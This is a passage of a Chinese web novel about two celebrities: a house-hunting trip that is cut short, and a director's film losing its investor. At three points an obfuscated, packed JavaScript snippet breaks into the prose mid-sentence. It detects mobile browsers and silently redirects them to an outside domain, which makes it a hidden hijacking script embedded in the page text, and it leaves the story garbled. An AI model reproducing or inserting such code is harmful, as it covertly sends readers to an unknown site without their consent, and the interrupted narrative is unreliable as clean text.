可是那天莫殊描绘的那个家，让涂韵想起了，哦……原来在最开始她是心仪过一个大院子的，一个可以种花晒太阳，让小猫小狗跑来跑去的院子。 销售也专门找的房源很多的那种王牌销售，涂韵和莫殊看了好几套后，都有些不太满意。 销售便特意推荐了这套独栋小别墅，他们两个一走进去顿时眼前一亮，这套完美符合他们两个的期望。 午后的阳光透过客厅的落地窗，在实木地板上淌出一片暖融融的光斑。 透过窗户能看见外面的院子，虽然冬季了，草有些偏黄和参差不齐，但是能预见夏天后一片碧绿的草坪。靠近围墙的那一圈，可以种上漂亮的花，中间的空地里还能搭起用来喝茶歇息的小桌椅。稍加修整后，一定可以变成漂亮温馨的小花园。 涂韵踮着脚，手指轻轻拂过客厅那面定制的嵌入式书架。原房主已经出国很久不住了，那些细腻的木纹凹槽里还能摸到一层薄灰。 但涂韵很满意，原房主的装修风格也刚好是她喜欢的。 涂韵回头看向莫殊，眼睛亮亮的：“你看这里留的位置，刚好能放下我收集的你那些电影碟片，旁边……咱们可以摆一盆绿萝……或者波士顿蕨，就是老友记里面的那种。波士顿蕨长高了，叶子就会垂下来。” 她又指了指书架前面的沙发，“到时我们坐在沙发里看剧本或者看电视的时候，就能看见一片绿色，多舒服，还能对眼睛好。” 站在一旁的销售也笑道：“涂小姐描述得我都心动了。涂小姐，这套房子虽然不在内环，但是周围安静环境好，邻居们素质也很高。对于你们这种职业来说，隐私性都是很有保证的。” 销售满脸笑容，其实心里面也在吃瓜。 她听说有大客户要找她看房，还要求行踪保密的时候，还在想是谁呢？ 没想到竟然是大明星莫殊和涂韵啊，这两个人她经常能在网上看到相关的新闻，有次还无意间刷到了他们的CP视频。但也没听说过，他们两个谈恋爱了啊？ 怎么突然就一起看房啦？难道……直接隐婚啦？销售小姐姐想着等跟完今天后，她得回去好好搜搜这两个人，多了解一下对成单也有好处嘛。 相较于涂韵的关注度更多地在环境上，莫殊则更关注房型这些。他原本正背着手，抬头看房子有没有漏水，听见涂韵的话后，便转身问销售，这套大概多少钱能买下。 销售说了个数字，不算便宜，但也不算很贵，在莫殊的能承受范围内。 涂韵也听见了，凑到莫殊的身边，小声地说道：“好像有点贵……要不然我们再多看几套，回去再商量一下？” 莫殊笑了笑，刚想说话，突然感觉裤子口袋里的手机震了震。他掏出来，屏幕上“陆泽哥”三个字大大的显眼。 “不好意思，我去接个电话，”莫殊看向涂韵，“没事，你先看。不是还有二楼嘛，你再看看喜不喜欢。” 涂韵乖巧点头，道：“好。” 莫殊拿着手机，走到一边讲电话去了。销售小姐姐有眼力见地说道：“涂小姐，那我带您看一下二楼吧。二楼有一个很大的露台，您也肯定会喜欢的。” “嗯嗯。”涂韵对莫殊的电话不感兴趣，她知道陆泽对莫殊有知遇之恩，估计又有什么工作上的是吧。她应了声好，便跟着销售往二楼走去。 果然，销售说的没错。 二楼的主卧有一个很大的露台，露台的视角很开阔，一站上去望向远处就感觉到心情特别地好。 卧室里还有一个设计好了的衣帽间，衣帽间里有整面的衣柜和玻璃展柜。 涂韵在脑子里盘算着，莫殊虽然不是那种爱买奢侈品的人，但毕竟是大明星，估计衣服还是很多的。 再加上她的衣服也不少，这种大衣帽间刚好合适。 销售见涂韵兴致挺高，也拿着户型图纸给涂韵讲解着，到时买下来了，哪里的构造可以再改改。 聊着聊着，莫殊走了上来。 涂韵兴奋地刚想和他聊聊对未来的畅想，却在看见莫殊表情的瞬间顿时顿住了。 在楼下的时候，莫殊脸上一直挂着温和的笑意。 可现在，他的笑已经完全消失了，整张脸绷得紧紧了，就连眉头都皱了起来。 涂韵悄悄收回了还搭在户型图上的手，问道：“怎么了？出什么事了吗？” “陆泽哥那边出了点岔子，”莫殊快步走到涂韵的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490369|185826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面前，语气里满是歉意，“好像是他筹备的新电影的事情，好像还有点急，我想着……过去看看。” 莫殊轻轻地握住涂韵的手腕，指腹摩擦着她的手背，像是在和她道歉一样。 涂韵反手摸向了莫殊的手心，能感觉到一层微湿。冬天了，手怎么还出汗了，再看莫殊那紧张的表情，涂韵知道那边肯定出了点什么事，应该不是莫殊简单说的岔子那么简单。 莫殊：“涂韵，今天……看不了房了。我等会要开车去陆泽哥那边了。” “对不起啊，韵韵，我本来想着这周没有什么事，能多陪你会的。结果还是……” 涂韵听着莫殊愧疚的语气，摇了摇头。她怎么可能会责怪他呢。 她知道他就是那种会对工作很在意，会因为一场戏对着镜子练到凌晨练到眼睛里都是红血丝的那种人；她知道他就是那种入圈十年朋友不多，但交到的朋友都是那种可以遇到困难时可以两肋插刀的人。 她……喜欢的人，就是这样的人。即使偶尔会“失约”，但那也是她喜欢的他的一部分。 涂韵安慰地拍了拍莫殊的手背，“没事，又不急，我们又不差这几天。” “那你快去吧，陆泽哥既然打电话给你让你过去了，说明是真急坏了，你去了说不定能想到什么办法。” “好。”莫殊和涂韵拥抱了一下，就匆匆地将搭在臂弯上的大衣穿上，下楼走了。 既然这是要买属于他们两个人的房子，那既然莫殊不在，这房子也没有再看下去的必要了。不如等他回来，再一起看看这张户型图，聊几句未来该怎么装修，落地窗的窗帘该选什么颜色。 涂韵抱歉地对销售小姐姐说道：“不好意思，今天突然有事没办法再看了。等后面有空的时候，我们再联系您。” “没事。你们工作要紧。”销售小姐姐虽然表面上淡淡地笑着，其实内心一直在咆哮着。 她……刚刚看见了什么！她看见了涂韵和莫殊两个人牵手拥抱！就差嘴一个了！ 啊！这和她亲眼看见这两个人在谈恋爱有什么区别！果然谈恋爱还是要看帅哥美女谈，才舒服。 销售：“涂小姐，需要我送您或者联系人送您回去吗？” 涂韵从小挎包里拿出墨镜和口罩，委婉拒绝道：“没事，我打车就好。” 她买的小房子也不在内环，离这别墅大概二十多公里，打车倒也算方便。 涂韵回到家后，还有些恍惚。说实话，那套房子确实很不错，她有些心动。 不过……她怎么这么快就要和莫殊一起买房了？ 话说，这房产证上是写他们两个人的名字吗？可是他们两个又没结婚，可以一起还贷吗? 难不成……要先结婚？虽然他们两个人认识是挺久了，互相也很熟悉，但……这恋爱才谈了一个多星期啊？结婚是不是太快了一点？ 难道说，莫殊有钱到可以直接全款买下来？ 涂韵在床上翻了个身，然后猛地坐起。八字都还没一撇的事，她怎么想这么多，她还是先把活给干了吧。 涂韵坐到书桌前，打开电脑。 距离她上次因为录综艺，在小说页面上挂请假条都已经过去快一个星期了。最近这几天，因为莫殊在，她根本就抽不出空码字！ 涂韵点开小说页面，果然，下面又是满满的“催更”了。 哎，涂韵打开word文档，开始“哒哒哒”地码字起来。今天趁着莫殊不在，她一定得更新了！ 38. 第38章 新xp 因为电话里面，陆泽哥的声音听起来很颓废，完全没有了平日的插科打诨。 莫殊担心他的情绪，所以直接买了高铁。 不是节假日，高铁商务舱几乎没有什么人，就算偶尔有几个人，也是出差的模样，都是架着小桌板，全神贯注地盯着电脑屏幕，手指在键盘上劈里啪啦地打着字。 莫殊缩在靠窗的位置，点开手机，和涂韵说了一声，“我上车啦。” 他现在也是有人报备行程的人了。 涂韵那边很快回道：“好，注意安全哦。我也到家啦。” 高铁差不多4个小时，莫殊闭上眼睛小憩了一会儿。 明明只是感觉眯了一会，但等他睁开眼时，才发现车厢里空荡荡的，只剩下他一个人了。 莫殊看了看时间，还有一个小时才到。他想了想，便点开了手机里的小说APP。 他最近几天都和涂韵待在一起，没有什么时间看小说。 趁着刚好有空，就在高铁上看一会吧，说不定已经都更新了好几章了呢。 结果，莫殊点开小说一看，发现请假条竟然还挂在上面！ 只是预计回归时间变成了今天。 【殊途同归（作者）：目前正在抓紧时间码字中，今晚一定会更哒！对了，最近我发现……我好像解锁了自己的新xp。你们的xp是什么呢？】 Xp？这是什么东西？莫殊心想，看起来像是什么东西的首字母。 莫殊手指往下滑了滑，点进评论区，发现评论区里竟然都在讨论一些奇奇怪怪的，他看不懂的东西。 评论区里有说制服的，有说眼镜的，甚至还有说什么丝袜的？ 哦——莫殊恍然大悟，看来xp应该就是新品的意思吧。他们在讨论要买什么新衣服。 但是……好像也不太对吧？为什么评论区里有这么多被口口掉的内容？ 莫殊看到还有个书迷，好奇地问作者，她新解锁的xp是什么？ 刚好在3分钟前，作者回复了这条。 【殊途同归（作者）：嘿嘿，我不告诉你。】 莫殊心里头觉得更奇怪了，不就是一个新品吗？还需要解锁？有必要弄得这么神秘吗？ 难道他理解错了？是其他东西吗？ 芯片？相机？好像都不对。 莫殊的好奇心顿时就被勾起来了，他登录微博小号，搜索“什么是xp”。 结果搜出来的东西比小说区里的评论更奇怪更大胆，看得莫殊老脸一红，黑色口罩下面的脸烫的发热。 他……终于明白xp是什么意思了。 在这一刻，莫殊特别的庆幸，幸好周围的人都走光了，没有人注意到他。 要是被人看见他在搜这些东西，他可真是百口莫辩。 莫殊羞得立马把手机按灭，塞进口袋里，似乎这样做，就能把他刚刚看到的那些大胆的言论给从脑海中抹去。 不过他的脑子可不像他的动作那么听话。 莫殊靠在椅背上，不自觉的思考着，那他的xp又是什么呢？他……好像并没有什么特别喜欢的。 突然，他想起可以被称作他和涂韵第一次小约会的那天晚上。 涂韵穿着粉色睡衣和黑色羽绒服，像个小球一样朝他跑来的那天晚上。 那一刻，他听见了自己心跳的声音，噗通——噗通——震耳欲聋。 莫殊想，好，那他的xp应该就是“草莓夹心巧克力”。 没想多久，高铁就已经到站了。 莫殊随着人流到了出站口，打了辆车便朝着陆泽家赶去。 莫殊在陆泽家门口敲了近半分钟，都没有人开门。 莫殊心里头有些担心，毕竟电话里陆泽的情绪确实听起来不对劲，非常地沮丧。 莫殊与陆泽也很熟悉了，都来过他家好多次了。他想了想，便直接输入电子门锁密码，走了进去。 一走进去，莫殊便看见陆泽独自坐在餐桌边上。 已经是晚上六七点了，天阴沉沉地黑了下来，陆泽却没有开客厅的大灯，只开了一张餐桌上的小吊灯。 往日很有氛围的昏黄色的灯光，如今照在陆泽的脸上，却显得他格外地疲惫。 莫殊喊了一声“陆泽哥”，他走近才发现餐桌上还放了一个烟灰缸，里面按灭了好几个抽完的烟头。空气里还混杂着一丝淡淡的烟味，让他不自觉地咳了一声。 陆泽抬起头，对着他笑笑，说道：“你来啦。” 莫殊拉开陆泽对面的椅子，直接坐下，担心地问道：“陆泽哥，到底是发生什么事了？你说你投资被撤了是什么意思？” 莫殊知道陆泽算是比较高产的导演，他有天赋又勤快，十年间拍了好几部电影。 而拍一部电影并不仅仅是简单的开机拍摄就行了，在前期也需要进行大量的准备。 陆泽现在筹备的这个项目和他之前拍的电影类型都不一样，他已经准备了将近两年，完成了剧本的打磨，主要的演员也基本上定下来了。 但一部电影，要从纸面上的剧本变成荧幕上的现实，这一块儿最重要的就是钱。 莫殊之前听陆泽说过，核心团队的搭建和拉投资这一块儿上，都挺顺利的，怎么突然……就说撤资了呢？ ”哎，就今天刚被撤的，就今早项目讨论会上的事儿，“陆泽叹了一口气，”这事也怪我，我一时嘴快。但没想到时代娱乐能做到这份上，说翻脸就翻脸。“ 陆泽从口袋里摸出一根烟，点燃，慢慢地说了起来。 在陆泽的叙述中，莫殊才明白了整件事的过程。这事……跟他还有那么一点关系。 原来今天的项目讨论会上，饰演女三号的林婉婉迟到了将近一个小时。 要是光迟到，陆泽也就不说她什么了。 但林婉婉一进来，就甩脸子，还一个劲地抱怨有必要开什么项目讨论会吗？抱怨的声音大到要盖过讨论的声音了。 她不知道，一部大制作的电影因为涉及的人员多，细节又杂，项目讨论会开个十几二十次都是常态。而且有些时候需要讨论场景的搭建、服务造型等等，需要演员在场才能更好地结合角色和身份来提出相关意见和建议，避免实际拍摄时出什么乱子[1]。 陆泽是个心直口快的，可不像其他人一样惯着林婉婉。他直接将手里的项目表往桌上一拍，怼了林婉婉几句。 再加上之前因为林婉婉在他面前假装和莫殊有什么关系，陆泽心里头本就膈应，便说她什么态度差不敬业，光想着走什么歪门邪道的。 剧组里其他人都齐刷刷地盯着林婉婉，林婉婉也没想到竟然有人敢这么说她，直接脸气到通红。她一句话没说，拿着电话就走出去了。 陆泽没怎么在意，继续组织着项目讨论。 没想到过了十几分钟，陆泽就接到了电话，说时代娱乐决定撤资退出这个项目了。 时代娱乐几乎占了这部电影的一半的投资，它要是一退出，这项目直接就“创业未半而中道崩阻”了。 陆泽已经不太记得他当时的心情了，他只记得他颤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那时候陆泽还很年轻，刚大学导演系毕业两年。陆泽戴着副墨镜，一把就拉住他，问他要不要去拍电影，总之就是一脸意气风发不像好人的模样。 而现在，陆泽眼里的光就像烟灰缸里快要熄灭的烟头，一样黯淡。 莫殊往前坐了坐，一把握住陆泽的手，“这事怎么会怪你？你以前不是说过吗？你导的片子，不是用来给资本捧人的工具。林婉婉本就是时代娱乐塞进来的，现在她在开拍前走了，你应该感到庆幸啊，要不然等到正式开拍，又不知道要捅出什么大篓子。” 莫殊的声音很稳，听不出什么情绪，但顿时就让陆泽心里的沮丧给释放掉了。就像一朵绵软的云，将他稳稳地托了起来。 陆泽抬头看向莫殊，“嗯”了一声。 莫殊接着说道：“撤资的是钱，不是你的本事。时代娱乐撤资了，总能找到其他的投资人。” 陆泽垂下眼，又轻轻地叹了口气，“这个剧本是科幻片，需要很多大场面和做后期，需要的钱可不少。再加上……我第一次涉足科幻片，不知道会不会有人愿意投……” 莫殊将陆泽的手握得更紧，“第一次拍又不代表拍不好，怎么会没人愿意投？再说，要是真没人愿意投，不还有我吗？我就算卖房卖车，也给你筹钱。” 陆泽听了这话，锤了莫殊一拳，“你在这瞎说什么呢？我怎么会要你的钱，再说了，你又没房。” 莫殊朝着陆泽笑了笑，一把把他拉起来，“好好好，不瞎说了。走，吃饭去，我好久没吃你小区门口那家牛肉面了。吃完啊，明天起来，咱接着干。” 走出陆泽家门口的时候，莫殊的眼眶有些发热。 他知道，他的房子是真的要没有了。 39. 第39章 陆导演 黑夜里，原本辗转反侧的陆泽逐渐安静下来，只听见均匀的呼吸声。 而睡在一旁的莫殊却瞪着大眼睛，望着天花板。虽然知道以陆泽哥的实力，绝对不会拉不到投资，可是吃饭的时候，陆泽一条条地和他盘算着，他才意识到拍一部电影所要花的钱比他想得还要多得多。 这时，放在枕头旁边的手机亮了一下。 莫殊伸手，摸起来一看，是涂韵。 涂韵发了一个可可爱爱的“小猫晚安”表情包，莫殊下意识地弯起嘴角。 他刚在屏幕上打下“晚安”两个字准备发送的时候，又像突然想起什么，他按了删除，重新打了句话发送过去。 【M：你睡了吗？我有点想你了，想和你打电话。】 涂韵正坐在电脑前，手指飞速地码字。她半小时前刚把最新的章节给码好发了出去。 因为害怕下次又有事没时间码字，所以涂韵也没闲着。虽然网上说着晚安了，但其实她正在抓紧时间码下一章。 听见消息提醒，她低下头看见了手机屏幕上莫殊的回复时，哑然失笑。 涂韵嘟囔着，不就半天没见嘛，至于嘛？怎么以前没发现，莫殊这么粘人呢？ 心里虽然这样想着，但其实涂韵的嘴角就没下去过，马上回了个“好”字。 看见涂韵的消息，莫殊轻手轻脚地从床上爬起，生怕吵醒已经睡着了的陆泽。 他像做贼似地轻轻推开房间门，踮脚走了出去。 等他站在阳台上，莫殊才按了拨打电话键。 那边接起的很快，应该是涂韵也在等他。 听到涂韵的声音后，莫殊崩了一天的神经这才放松了一些。 莫殊柔声问道：“涂韵，抱歉，今天让你一个人回家。今天的房子……你觉得怎么样？” “没事。”涂韵靠在电脑椅上，手上还抱着莫殊的棉花玩偶，有些兴奋地说道，“今天看的那套房子，我觉得不错哎，视野很好又安静。也不用大装，感觉只要买点家具稍微弄弄，就能直接住进去了。除了贵了点，也没其他缺点了。” 阳台的窗子打开着，夜里的风将莫殊的声音都有些吹散了。他说：“涂韵，有件事……我得和你商量一下。那套房子我也觉得很不错，但我们……能晚点买房吗？” 莫殊知道，明明是他提起要和涂韵有一个家，给了涂韵希望。那几天，他和涂韵在外面看房，虽然很累，但他很开心，他也能感觉到涂韵很开心。看到心仪的房子的时候，她会叽叽喳喳地和他分享讨论，到时候要怎么装修要买什么风格颜色的家具。 可是现在，他却要亲手打破这个希望。 他就好像一个夺取人幸福的刽子手一样。 真的，如果他早知道会这样的话，他宁愿从来没有提起过房子这种事。 涂韵愣了一下，“好……是怎么了吗？” 莫殊觉得自己的喉咙有些发干，他咽了咽口水，说道：“是这样的……陆泽哥筹备的一个电影项目出了点问题，资金链快断了。我想着，要是陆泽哥这边缺钱的话，就先不买房了，把钱留着给他拍电影。” “涂韵，真的很对不起，事情发生的有些突然。”莫殊压低了声音，轻轻说道，“我很抱歉，涂韵……你现在的房贷还有多少没还完？要不然……我帮你把房贷还了，就当做……” 他还没说完，就被电话那头的涂韵给打断，“莫殊，你把我想成什么了？我的房贷不需要你还，我自己能还。陆导他应该比我更需要这笔钱。” “你也不需要和我道歉，我喜欢你又不是因为你要给我买房，我喜欢你是因为这个人。要是你现在和我说，陆导缺钱了，但你却不帮他而是要把钱留着买房子，那我才是真的看不起你。” 作为莫殊最早的粉丝，涂韵当然明白陆泽对于莫殊的意义，那是他的伯乐，是他的引路人。 要是没有陆泽的话，莫殊不可能有今天，也不可能出现在她的面前。 莫殊眼睛一酸，他的心本来一直都是悬着的，可现在却平稳地落地。 他倚在窗沿上，眼泪悄无声息地落下。他低着头，沉声说道：“谢谢你，涂韵……谢谢你。” 涂韵将手里的玩偶搂得更紧了一些，她问道：“陆导他……差多少钱啊？我这边还有些积蓄，我也可以……” 莫殊：“不用，这是最坏的打算。我这几天会和陆泽哥再去见一些投资人，要是顺利的话，就最好了。” 夜里的风冷冷的，莫殊没有开灯，只靠在阳台的窗户边站着。 远处整夜不暗的大楼LED屏变换着图案，蓝紫色的光隔几秒就照过莫殊的侧脸。但莫殊并没有在意，他手机贴在耳边，正温柔地和涂韵聊着什么。 莫殊同样没有注意到，一墙之隔的陆泽。 陆泽隐在客厅的黑暗中，垂着眼睛，搁在身侧的手紧紧地握成了拳头。 风把莫殊的声音送了进来，虽然有些吹散了，但他还是字字都听得分明。 * 陆泽起床后，脑袋里还是昏昏沉沉的。 他坐起身缓了好一会，意识才重新回到了大脑里。他往旁边看去，旁边空荡荡的，只有那叠得整整齐齐的被子证明着昨天发生的一切都不是梦。 “早。”陆泽推开房门，看见莫殊坐在餐桌边上，正一脸沉默地看着手机。 陆泽拉开椅子，坐在了莫殊的对面。桌上已经放好了简易的早餐，一个煎得金灿灿的荷包蛋和一杯热拿铁。 陆泽刚拿起咖啡喝了一口，就听见莫殊问他，“哥，你……昨天晚上是醒了吗？” 陆泽差点一口咖啡喷出来，过了一会儿才应了声，“嗯。怎么了？” 莫殊叹了口气，“哥，你昨天晚上怎么还发微博了？今天早上直接上热搜了。” 【导演陆泽V：以后永远不会和陈静迪、林婉婉合作，此条微博为证。】 陆泽：“不行嘛？昨晚我越想越气不过，凭什么？我明明没有做错什么，为什么林婉婉一句话就能把我筹备了两年的项目搞黄？” 莫殊：“……倒也不是不行。” 只是陆泽公开这样发，相当于直接站在了时代娱乐的对立面。 一条没有前因后果的微博，但是却直接点了圈里两位人气女演员。即使陆泽是在大部分人熟睡的深夜发的，但还是引起了众多吃瓜群众的注意。 大家纷纷讨论猜测着，到底是什么事，引得陆导演这么生气。 有些消息灵通的群众，猜测是不是因为陆导演即将开拍的《星轨折叠时》。 听说这部电影，陈静迪和林婉婉都会参演。 现在陆导突然发这么一条，是不是说明……这两个演员态度不认真或者干了什么其他事？ 毕竟林婉婉什么耍大牌啊、对工作人员态度恶劣翻白眼、进了组 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没什么意思。只是莫殊想到了，他和林婉婉之间也还有事情没有解决。 在林婉婉的粉丝的期待中，常年不登微博的莫殊终于上线了。 但粉丝们没有想到的是，他们等到的竟然是“求锤得锤。” 【莫殊V：和某人不熟，但却听闻了很多骚操作。有这么多精力，不如好好拍戏精进下你的演技。@林婉婉】 莫殊的这句话直接影响了网上的风向，微博热度节节攀升。 大家纷纷猜测，林婉婉到底是做了什么事啊？惹得大导演和影帝都要公开吐槽批评她了？ 还有，莫殊说的骚操作是什么意思？ 之前坊间不是还传言莫殊喜欢林婉婉，在追林婉婉吗？ 难道……这些都是林婉婉在自导自演？ * “婉婉姐！你快看——”助理几乎是跌撞着跑到化妆桌前，捧着手机的手控制不住地发颤，“现在该怎么办啊？微博热搜直接冲第一了！评论区……评论区全是骂我们的！” 林婉婉盯着镜子中面色铁青的自己。她平时骄纵惯了，不管闹出什么事，但最后大家都会卖时代娱乐面子。但谁能想到，陆泽和莫殊这次这么刚，直接撕破了脸。 林婉婉猛地抬眼，“啪——”地一个巴掌挥了过去。 随着一声脆响，助理尖叫着偏过头，手机脱手而出，重重地砸在地面上，屏幕瞬间裂成了蜘蛛网。透过那些裂缝，还能勉强看见页面上一排有着林婉婉名字的热搜。 #陆泽公开喊话永不和林婉婉合作 #林婉婉骚操作 #莫殊和某人不熟 #星轨折叠时 助理僵在原地，半边脸颊火辣辣地疼。她捂着脸，眼泪在眼眶里打转，却不敢掉下来。 林婉婉一张好看的脸已经扭曲得不成样子，眼中满是怒火，“我踏马要你告诉我吗？我难道自己没有手机，看不见吗？” 其实林婉婉的心里早就慌了——这次的舆论势头太猛，连父亲那边都打来电话问责。 可是她嘴上还在硬撑着，她精致的长美甲几乎都要嵌进掌心：“一群傻x。" 不就是个破电影吗？还想拉投资？陆泽，莫殊……你们要是能把钱拉来，我林婉婉三个字倒过来写！ 40. 第40章 拉投资 网上吵得纷纷扰扰的，不止是路人在吃瓜，业内人士自然也会偷偷八卦。 化妆师乔夏月进剧组跟妆了，昨晚拍了个通宵，等她今早睡起来的时候，拿起手机才看见热搜。 乔夏月点开莫殊的那条微博，又点开林婉婉之前发的那条微博，刚看了一眼就知道莫殊为什么那么生气了。 她要是莫殊，她都要气死了！ 林婉婉那条微博简直就是茶言茶语嘛，不就是在暗示她和莫殊到底有些什么事吗？ 乔夏月……其实和莫殊有过交集。 那个时候她才刚入行没多久，就被她的师傅带着去见“大场面”——给影帝莫殊做一个直播活动的造型。虽然她那个时候只是一个助理化妆师，但莫殊却不嫌弃她，反而认真地喊她乔老师，对她态度很好。 从不追星的乔夏月直接就被圈成了路人粉。 乔夏月以为所有的明星都是像莫殊这样的，会尊重工作人员的付出。 但…… 乔夏月犹豫了片刻，偷偷地把社交平台上的昵称从“月月教你学化妆”改成了“momo”。 她打打又删删，写了一篇小作文。 【momo：作为一个半业内人士，和莫老师，林小姐都合作过。我可以证明，莫老师直接就拒了林小姐的某部女主剧，两人并不相熟。那为什么后面又会传出，莫老师要和林小姐合作？两人还是关系匪浅的老乡？是谁一直偷偷炒作死皮赖脸，不用我多说了吧？】 乔夏月描述了一下那天她在化妆间里听见的话，什么林婉婉宁愿出老高的片酬邀请莫殊合作，但莫殊直接没理过她，林婉婉直接当场破防发飙。 最后，乔夏月还强调了句：林婉婉真的脾气超大，对工作人员态度超差，业内都知道！属于合作过一次，就让人想拉进黑名单里的艺人！ “月月教你学化妆”一直都是分享乔夏月的化妆实用小技巧，也积攒了二三十万的粉丝，而且女粉居多。再加上微博热搜也是沸沸扬扬的，所以乔夏月的小作文一发出去，马上流量就爆了。 下面评论讨论得火热。 “我虽然不认识什么林婉婉，但能不认识咱们momo吗！相信momo！” “某林小姐简直就是小牌大耍。。这种新闻，我都不知道看过多少遍了。” “妈耶，亏我之前路过还磕过一口两个人的隐晦糖。简直要成为我磕cp的案底了！” “楼上为什么要磕这种工业糖精啊？为什么不磕我们殊途同归啊？正主两个人都直接发照片了！” “路过都要怜爱一下莫影帝了，被狗皮膏药缠上了……” * 粉丝们也在各自的小群里八卦着。 方羽梅一大早陪着孩子在院子里玩了会，见小孩玩累了，便让月嫂带去房间里哄睡。她这才有时间点开自己的追星小姐妹群，发现好几条都是在艾特她的。 【小Q：小羽，莫老师和陆导今天发的那两条微博是什么意思，你知道是什么事吗？@一根羽毛】 【接莫殊涂韵合作：听我有个朋友说，就是陆导那部电影出了问题，女主和女三都耍脾气不演了……莫老师和陆导那么熟，不知道能不能推荐我们韵韵去演个角色……】 【月亮和星星：陆导遇到了问题，莫老师肯定要帮忙的……就是不知道问题有多大。】 嗯？方羽梅把群里的消息都扒拉了一遍，她手指在手机上飞快地打着字。 【一根羽毛：我不知道什么事哎？我去问问，问出来告诉你们！】 * 顶层会议室的落地窗外是同样的高楼大厦，莫殊站在窗边，看着外面反射着阳光的玻璃幕墙，只觉得胸闷。 他微微转头，余光扫过坐在沙发上的陆泽。 陆泽平时都穿休闲装居多，这次都穿上了压箱底的西装。他正低头整理着摊在膝盖上的文件，最上面的封面写着“星轨折叠时”五个大字。 莫殊很久没看见陆泽的脸这么地紧绷了，他刚想张嘴问陆泽紧张吗的时候，会议室的门就被推开。 “陆导，莫老师，久等了。”走进来的是一个溜圆的肚子被白衬衫裹得像个皮球的中年男人，这是影星娱乐的张总。 张总的声音带着商场上惯有的热络，但莫殊能感觉到他的目光扫视在他们两个人身上的时候，带着丝微妙。 陆泽马上起身，脸上扬起恰到好处的微笑，伸手迎过去，“张总百忙之中抽空见我们，已经很感谢了。” 莫殊也跟着伸手过去。 三人握过手后，便开始正式会谈。 虽然张总是莫殊介绍给陆泽认识的，但其实他们两也只是在一个饭局上偶然认识的关系，再加上莫殊本来就话不多，所以主要的还是陆泽和张总在谈。 本来莫殊觉得他只要介绍人给陆泽就好，他自己跟着来也帮不了什么。 但陆泽说了，莫殊主打的就是一个陪伴。 陆泽将手里的剧本双手递过去，“张总，这是剧本大纲还有大致的预算表，我们现在……” 陆泽话还没有说完，张总就打断道：“我知道，这是个科幻片。不过科幻片……陆导之前没拍过这个类型吧？” 陆泽的喉结动了动，这确实是他第一次从擅长的现实偏文艺的题材转为科幻类型。他诚恳地回答道：“正是因为没拍过，才想尝试。现在国内科幻市场缺好故事，《星轨折叠时》这个剧本我已经打磨了两年了，不只是单纯的人类对宇宙的探索……” 张总从鼻子里哼笑了一声，他没有认真听陆泽在讲什么，只是接过剧本，随意地翻了一下，然后扔在了手边的茶几上。 他的手指敲了敲桌面，“陆导的才华，我是知道的。但这电影要的预算，应该不少吧？” 陆泽：“预算大部分都会花在实景搭建和后期特效上，我已经联系过了国内的知名特效团队，报的费用已经是最低的了……” “那演员的片酬呢？”张总话锋一转，问道，“我听说这部电影之前的大投资方是时代娱乐，但上周撤资了？” 莫殊的心猛地一沉。 陆泽没有回避这个话题，毕竟上周都上了好几天的热搜了，让别人想不知道都难。他坦率地回答道：“演员还有几位没最终定下来。但我觉得，选择不适合的演员反而会影响影片质量。” 张总听了这话，又从鼻子里哼了一声。他往后靠向沙发背，双手交叉放在胸前，把那圆滚滚的肚子衬得更加地大。他说：“时代娱乐在宣发渠道上的实力你清楚的，他们要是想给这部片子使绊子，就算片子拍出来，上映都会成问题。更别说科幻类型本身就有风险，你没经验，预算又高，我不可能把钱投在一个这样的项目上。” “其实陆导，还有莫老师，我很看好你们的这个项目。但是做生意不是只要‘看好’就能做得下去……” 空气瞬间安静下来，莫殊下意识地想开口，却被坐在一边的陆泽扯了扯袖口。 陆泽沉默了大概 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490372|185826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半分钟后，站了起来。 他一把拿起茶几上的剧本，“麻烦张总了，打扰你了。” 走出会议室时，陆泽和莫殊两个人都有些沉默。 电梯里的空气更是压得人喘不过气来，莫殊抿了抿唇，他斟酌着开口道，“我们还可以找其他投资人，我还认识几个影视公司的老总……陆泽哥，明天我就再去联系他们……” 莫殊掏出手机，飞快地翻着列表给陆泽看。 手机里面存着不少影视公司老总和制片人的联系方式，都是他这些年拍戏攒下的人脉。虽然天没聊过几句，但起码躺在手机里。 莫殊现在无比地庆幸，幸好陈霖每次都让他去加个联系方式，要不然他现在找人都找不到几个。 陆泽笑了笑，“不用了，我又不是不认识这些投资人。” 陆泽握紧了手里的剧本，挑了挑眉道：“我们这几天都见了好几个了，你没发现吗？他们都是一个圈子的，找来找去都是差不多的话术，一样的结果。时代娱乐算行业里的老大了，他要是给别人施压，谁还愿意淌这趟浑水啊。” “我……”莫殊轻轻地叹了口气，他抬手想拍一拍陆泽的肩膀，但……最后他只是轻轻碰了碰他的胳膊，用最温和的语气说：“没事，我们再想办法。” 出了大楼，冷冽的风刮了过来，刮得人脸疼。莫殊低着头，把脖子间的围巾紧了紧。 他没注意到，陆泽加快了几步，挡在了他的前面。 在去停车场的路上，陆泽突然问道：“莫殊，你是和涂韵在一起了是吧？” 